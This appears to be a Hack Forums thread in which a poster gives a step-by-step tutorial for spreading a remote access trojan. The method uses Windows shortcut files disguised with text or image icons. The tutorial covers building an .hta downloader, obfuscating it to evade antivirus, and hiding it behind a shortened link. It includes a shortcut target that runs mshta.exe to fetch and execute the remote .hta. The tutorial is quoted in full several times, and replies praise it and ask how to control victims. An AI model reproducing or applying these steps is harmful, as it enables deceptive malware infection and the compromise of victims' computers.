

Forum:[Hack Forums](#)

Thread: [\[FUD\] Spread with Shortcut files \(.lnk\) disguise your RAT as a .txt or .png! \[TUT\]](#)

A1exe - December 26, 2020, 2:46 pm

Hello. I'm new to HF but I plan on contributing and making friendly threads we all can enjoy/put to good use.

My only request is you help each other, post feedback, and post the possible ways/ideas you can think of to spread shortcut files.

So... shortcut files are not really that known, the extension is .lnk and you can change the icon to a default notepad .txt icon or a .png/.jpg icon.

You will need to zip the file when sending it. I recommend not adding a .txt extension, or .png extension, and leave it as .lnk. Many are clueless.

It's best to have your own direct link host/web host for this. Upload your FUD RAT server to a web host, alternatively use Discord for a direct download link.

We'll be using a .hta exploit/downloader with the .lnk file. So download this: ufile.io/bm54rnuz

When you've got this program open, I think it's very self explanatory... prnt.sc/waj793

Paste your direct download link. Save the .hta -- now we will obfuscate the HTML.

Right click the .hta and edit it with notepad. Then go to the following link;
webtoolhub.com/tn561359-html-encrypter.aspx

Paste all the HTML from the .hta and obfuscate it. Then paste the new obfuscated code into the .hta and save it.

This should give us a FUD .hta exploit.

Now upload that .hta somewhere that provides you a DIRECT link. I do not recommend Discord as I believe it is flagged with Windows Defender etc. I recommend buying your own web host. Pay with BTC. ?

When you've uploaded the .hta to your web host, go to bit.ly [WARNING: potentially infected] and get a shortened link (this helps bypass AV) your bit.ly [WARNING: potentially infected] link should go straight to your .hta file.

Next... right click your desktop and create a shortcut. Do not browse for any file, instead, paste this.

C:\Windows\System32\mshta.exe "http/s://bit.ly [WARNING: potentially infected]/WHATEVERTHEFUCKLINKHERETOYOURHTA"

REMOVE THE / AFTER THE P (http/s) I CAN'T POST LINKS (YET)!

Click next and you should now have a .lnk file. The next step is to change the icon. Right click, click

properties, and then change icon.

The best default windows icons, including notepad and png/jpg icons, are located here:
%SystemRoot%\System32\SHELL32.dll

Paste that in and it should look like this: prnt.sc/wajcu6

You now have a FUD (if your RAT is FUD) .lnk shortcut exploit. You will need to zip or rar this to upload it anywhere if on windows. Chrome removes the extension if it's downloaded on its own.

Please share below any methods you can think of to spread these files. I may even tip you BTC if you come up with something creative.

I've used this shortcut exploit for many years, and had many thousands of bots with them. It's really good for SEing people. I've had a lot more success with .lnk than .doc exploits.

Need any help? Ask away!

MagicP4nda - December 26, 2020, 3:50 pm
Post to keep for later use, Thanks

kuebiko - December 26, 2020, 5:38 pm
Great post man, very informative.

PigeonGod - December 26, 2020, 5:38 pm
(Dec 26, 2020 03:46 PM)A1exe Wrote: [\[CITE\]](#) Hello. I'm new to HF but I plan on contributing and making friendly threads we all can enjoy/put to good use.

My only request is you help each other, post feedback, and post the possible ways/ideas you can think of to spread shortcut files.

So... shortcut files are not really that known, the extension is .lnk and you can change the icon to a default notepad .txt icon or a .png/.jpg icon.

You will need to zip the file when sending it. I recommend not adding a .txt extension, or .png extension, and leave it as .lnk. Many are clueless.

It's best to have your own direct link host/web host for this. Upload your FUD RAT server to a web host, alternatively use Discord for a direct download link.

We'll be using a .hta exploit/downloader with the .lnk file. So download this: ufile.io/bm54rnuz

When you've got this program open, I think it's very self explanatory... prnt.sc/waj793

Paste your direct download link. Save the .hta -- now we will obfuscate the HTML.

Right click the .hta and edit it with notepad. Then go to the following link;
webtoolhub.com/tn561359-html-encrypter.aspx

Paste all the HTML from the .hta and obfuscate it. Then paste the new obfuscated code into the .hta and save it.

This should give us a FUD .hta exploit.

Now upload that .hta somewhere that provides you a DIRECT link. I do not recommend Discord as I believe it is flagged with Windows Defender etc. I recommend buying your own web host. Pay with BTC. ?

When you've uploaded the .hta to your web host, go to bit.ly [WARNING: potentially infected] and get a shortened link (this helps bypass AV) your bit.ly [WARNING: potentially infected] link should go straight to your .hta file.

Next... right click your desktop and create a shortcut. Do not browse for any file, instead, paste this.

```
C:\Windows\System32\mshta.exe "http/s://bit.ly [WARNING: potentially infected]/WHATEVERTHEFUCKLINKHERETOYOURHTA"
```

REMOVE THE / AFTER THE P (http/s) I CAN'T POST LINKS (YET)!

Click next and you should now have a .lnk file. The next step is to change the icon. Right click, click properties, and then change icon.

The best default windows icons, including notepad and png/jpg icons, are located here:
%SystemRoot%\System32\SHELL32.dll

Paste that in and it should look like this: prnt.sc/wajcu6

You now have a FUD (if your RAT is FUD) .lnk shortcut exploit. You will need to zip or rar this to upload it anywhere if on windows. Chrome removes the extension if it's downloaded on its own.

Please share below any methods you can think of to spread these files. I may even tip you BTC if you come up with something creative.

I've used this shortcut exploit for many years, and had many thousands of bots with them. It's really good for SEing people. I've had a lot more success with .lnk than .doc exploits.

Need any help? Ask away!
God what is this wall of text ???
Atleast format it nicely. Nice post tho

Covertness - December 27, 2020, 12:04 am
absolute legend for this thank you A1exe

Kabir - December 27, 2020, 3:27 am
I ll have to read it again didnt understood the last part of it, well its a good SE trick .lnk

Ren And Stimpy - December 28, 2020, 1:28 pm
Nice share, but that non obfuscated string wont bypass 99% of AVs runtime.
But nice share mate <3

A1exe - December 28, 2020, 1:31 pm
(Dec 28, 2020 02:28 PM)Ren And Stimpy Wrote: [\[CITE\]](#) Nice share, but that non obfuscated string wont bypass 99% of AVs runtime.
But nice share mate <3
Hahaha you're welcome man, GLWS!

fukudametro - December 30, 2020, 9:46 am

This is a great informative post. Thank you for sharing this.

oniige1 - February 22, 2021, 4:29 pm

(Dec 26, 2020 03:46 PM)A1exe Wrote: [CITE](#) Hello. I'm new to HF but I plan on contributing and making friendly threads we all can enjoy/put to good use.

My only request is you help each other, post feedback, and post the possible ways/ideas you can think of to spread shortcut files.

So... shortcut files are not really that known, the extension is .lnk and you can change the icon to a default notepad .txt icon or a .png/.jpg icon.

You will need to zip the file when sending it. I recommend not adding a .txt extension, or .png extension, and leave it as .lnk. Many are clueless.

It's best to have your own direct link host/web host for this. Upload your FUD RAT server to a web host, alternatively use Discord for a direct download link.

We'll be using a .hta exploit/downloader with the .lnk file. So download this: ufile.io/bm54rnuz

When you've got this program open, I think it's very self explanatory... prnt.sc/waj793

Paste your direct download link. Save the .hta -- now we will obfuscate the HTML.

Right click the .hta and edit it with notepad. Then go to the following link; webtoolhub.com/tn561359-html-encrypter.aspx

Paste all the HTML from the .hta and obfuscate it. Then paste the new obfuscated code into the .hta and save it.

This should give us a FUD .hta exploit.

Now upload that .hta somewhere that provides you a DIRECT link. I do not recommend Discord as I believe it is flagged with Windows Defender etc. I recommend buying your own web host. Pay with BTC. ?

When you've uploaded the .hta to your web host, go to bit.ly [WARNING: potentially infected] and get a shortened link (this helps bypass AV) your bit.ly [WARNING: potentially infected] link should go straight to your .hta file.

Next... right click your desktop and create a shortcut. Do not browse for any file, instead, paste this.

C:\Windows\System32\mshta.exe "http/s://bit.ly [WARNING: potentially infected]/WHATEVERTHEFUCKLINKHERETOYOURHTA"

REMOVE THE / AFTER THE P (http/s) I CAN'T POST LINKS (YET)!

Click next and you should now have a .lnk file. The next step is to change the icon. Right click, click properties, and then change icon.

The best default windows icons, including notepad and png/jpg icons, are located here:
%SystemRoot%\System32\SHELL32.dll

Paste that in and it should look like this: prnt.sc/wajcu6

You now have a FUD (if your RAT is FUD) .lnk shortcut exploit. You will need to zip or rar this to upload it anywhere if on windows. Chrome removes the extension if it's downloaded on its own.

Please share below any methods you can think of to spread these files. I may even tip you BTC if you come up with something creative.

I've used this shortcut exploit for many years, and had many thousands of bots with them. It's really good for SEing people. I've had a lot more success with .lnk than .doc exploits.

Need any help? Ask away!
your a legend

Stetsed - February 22, 2021, 11:32 pm

Nice share, Ye the power of .LNK exploits are people know .EXE, but .LNK is less known. Which is also why silent exploits are so powerful(However silent are also powerful because you can disguise them in legit work)

Nice job dude, not gonna be using myself but looks nice

Charlonivi - February 23, 2021, 12:25 am

Absolute Legend! Thanks
Definitely will be using this later on

onimant - March 4, 2021, 12:13 am

Wonderful and great writeup. Keep it up

remdep - March 4, 2021, 6:42 am

Thanks for posting this Mate... The file is not available for download anymore though

GreenCoder - March 4, 2021, 4:43 pm

(Dec 28, 2020 02:28 PM)Ren And Stimpy Wrote: [\[CITE\]](#) Nice share, but that non obfuscated string wont bypass 99% of AVs runtime.
But nice share mate <3
your shitty product doesnt bypass either.

Geppetto - March 17, 2021, 1:40 pm

Thanks for the advice you are helping the community

Yad Orez - March 19, 2021, 10:15 am

(Mar 17, 2021 01:40 PM)Geppetto Wrote: [\[CITE\]](#) Thanks for the advice you are helping the community
You are most welcome.

Melted - March 19, 2021, 10:56 am

Question: how would you permanently change the .lnk icon for spreading? (when you use the properties tab, the icon doesn't save when sending to victim / file hosting service). Otherwise, nice share.

suchtigamer 2003 - June 16, 2021, 12:16 am

"This program cannot be run in DOS mode" nice exploit

yonnyyy - March 17, 2022, 10:56 am

Posting for later :) I appreciate the info

Eclipse - March 17, 2022, 1:55 pm

(Mar 17, 2022 10:56 AM)yonnyyy Wrote: [\[CITE\]](#) Posting for later :) I appreciate the info
man dont bump old Threads

Friendz - March 19, 2022, 11:08 am

Nice thread,

Can you update link to the builder?

LastWarrior001 - April 28, 2022, 6:11 am

hello how can i reach you i will show you my spreading method for tip

Otsusuki - April 30, 2022, 1:28 am

Would be nice if you could make a video or picture tutorial ;) otherwise its a nice tutorial mate thanks
for sharing

jason123 - April 30, 2022, 7:32 am

Nice post,thanks for that

lights005 - May 9, 2022, 6:03 am

(Mar 4, 2021 07:42 AM)remdep Wrote: [\[CITE\]](#) Thanks for posting this Mate... The file is not available
for download anymore though
the exploit is available on github if the download link is dead.

jason123 - May 11, 2022, 5:49 am

(May 9, 2022 06:03 AM)lights005 Wrote: [\[CITE\]](#) the exploit is available on github if the download link
is dead.

Please give the download link from github,thanks

Godless98 - May 11, 2022, 6:42 am

Very informative. one question, when trying to control the victim, how can I do that, should I just
upload the .lnk to Metasploit somehow?

Blackval - May 26, 2022, 9:02 am

<https://blog.cyble.com/2022/04/27/emotet-returns-with-new-ttps-and-delivers-lnk-files-to-its-victims/>

Sandyya - May 27, 2022, 12:14 pm

(Dec 26, 2020 03:46 PM)A1exe Wrote: [\[CITE\]](#) Hello. I'm new to HF but I plan on contributing and
making friendly threads we all can enjoy/put to good use.

My only request is you help each other, post feedback, and post the possible ways/ideas you can
think of to spread shortcut files.

So... shortcut files are not really that known, the extension is .lnk and you can change the icon to a
default notepad .txt icon or a .png/.jpg icon.

You will need to zip the file when sending it. I recommend not adding a .txt extension, or .png
extension, and leave it as .lnk. Many are clueless.

It's best to have your own direct link host/web host for this. Upload your FUD RAT server to a web

host, alternatively use Discord for a direct download link.

We'll be using a .hta exploit/downloader with the .lnk file. So download this: ufile.io/bm54rnuz

When you've got this program open, I think it's very self explanatory... prnt.sc/waj793

Paste your direct download link. Save the .hta -- now we will obfuscate the HTML.

Right click the .hta and edit it with notepad. Then go to the following link;
webtoolhub.com/tn561359-html-encrypter.aspx

Paste all the HTML from the .hta and obfuscate it. Then paste the new obfuscated code into the .hta and save it.

This should give us a FUD .hta exploit.

Now upload that .hta somewhere that provides you a DIRECT link. I do not recommend Discord as I believe it is flagged with Windows Defender etc. I recommend buying your own web host. Pay with BTC. ?

When you've uploaded the .hta to your web host, go to bit.ly [WARNING: potentially infected] [WARNING: potentially infected] and get a shortened link (this helps bypass AV) your bit.ly [WARNING: potentially infected] [WARNING: potentially infected] link should go straight to your .hta file.

Next... right click your desktop and create a shortcut. Do not browse for any file, instead, paste this.

C:\Windows\System32\mshta.exe "http/s://bit.ly [WARNING: potentially infected] [WARNING: potentially infected]/WHATEVERTHEFUCKLINKHERETOYOURHTA"

REMOVE THE / AFTER THE P (http/s) I CAN'T POST LINKS (YET)!

Click next and you should now have a .lnk file. The next step is to change the icon. Right click, click properties, and then change icon.

The best default windows icons, including notepad and png/jpg icons, are located here:
%SystemRoot%\System32\SHELL32.dll

Paste that in and it should look like this: prnt.sc/wajcu6

You now have a FUD (if your RAT is FUD) .lnk shortcut exploit. You will need to zip or rar this to upload it anywhere if on windows. Chrome removes the extension if it's downloaded on its own.

Please share below any methods you can think of to spread these files. I may even tip you BTC if you come up with something creative.

I've used this shortcut exploit for many years, and had many thousands of bots with them. It's really good for SEing people. I've had a lot more success with .lnk than .doc exploits.

Need any help? Ask away!
Saving this, Thanks!